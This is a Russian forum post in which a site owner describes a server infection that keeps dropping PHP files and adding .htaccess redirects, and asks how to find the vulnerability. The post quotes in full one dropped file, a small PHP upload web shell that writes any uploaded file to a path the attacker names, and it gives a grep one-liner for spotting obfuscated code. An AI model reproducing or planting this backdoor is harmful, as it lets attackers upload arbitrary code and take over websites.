Как найти уязвимость на сервере/сайтах?

В общем какая-то зараза залезла на сервер.
Создает переодически(?) различные файлы типа class.php / main.php / и другие интересные названия. Раньше еще редиректы прописывало в .htaccess, но это я поправил изменением прав (такая вот заплатка). А еще оно делает файл с вот таким содержимым:

<?
if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); Exit;}
  if ($_FILES['F1l3']) {
    move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']);
    echo 'OK';
  } else {
    echo 'You are forbidden!';
  }
?>

Искал и айболитом и с помощью:
find ./ -name '*.php' | xargs grep -E '[0-9a-zA-Z/]{80}' > viruses.txt

что-то находил, что-то удалял, но пока не помогло.
чего еще сотворить? эта зараза лезет не в конкретную cms, хотя я раньше думал, что так. На данный момент создает эти файлы тупо в корне сайта. До этого они проявлялись в самых далеких местах, после вчерашней чистки пока только в корне.